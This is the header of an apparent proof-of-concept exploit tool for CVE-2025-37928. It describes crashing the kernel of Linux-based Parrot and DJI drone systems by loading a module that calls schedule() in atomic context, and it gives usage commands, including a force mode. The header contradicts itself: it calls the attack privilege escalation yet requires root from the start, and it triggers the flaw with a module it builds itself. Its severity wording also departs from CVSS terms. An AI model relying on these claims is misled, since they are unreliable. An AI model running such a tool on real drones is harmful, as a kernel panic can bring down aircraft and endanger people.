# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-10
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# Type: Local Privilege Escalation / Kernel Panic
# Platform: Linux-based drone OS (Parrot and DJI variants)
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# User Interaction: None
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
# Exploit Code Maturity: Proof of Concept
# Remediation Level: Official Fix Available
#
# Description:
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
# exploiting CVE-2025-37928 present in certain Linux kernels running on
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
#
# Steps of exploitation:
# 1. Check if running as root.
# 2. Verify kernel version vulnerability.
# 3. Detect drone type from system files.
# 4. Build and load vulnerable kernel module.
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
#
# Affected Drone Versions:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
#  Usage:
#   sudo python3 cve_2025_37928_tool.py [OPTIONS]
#
#  Options:
#   --dry-run         Run detection & build only (no module loading)
#   --force           Force exploit even if kernel not detected as vulnerable
#   --cleanup-only    Remove the kernel module without triggering panic
#   --verbose         Enable detailed logging and debug output
#   --help            Show usage information
#
#  Examples:
#   sudo python3 cve_2025_37928_tool.py --dry-run
#   sudo python3 cve_2025_37928_tool.py
#   sudo python3 cve_2025_37928_tool.py --force
#   sudo python3 cve_2025_37928_tool.py --cleanup-only
#
#  Warning:
#   This PoC causes an immediate kernel panic.
#   Use it ONLY in isolated and controlled environments (e.g., lab tests).
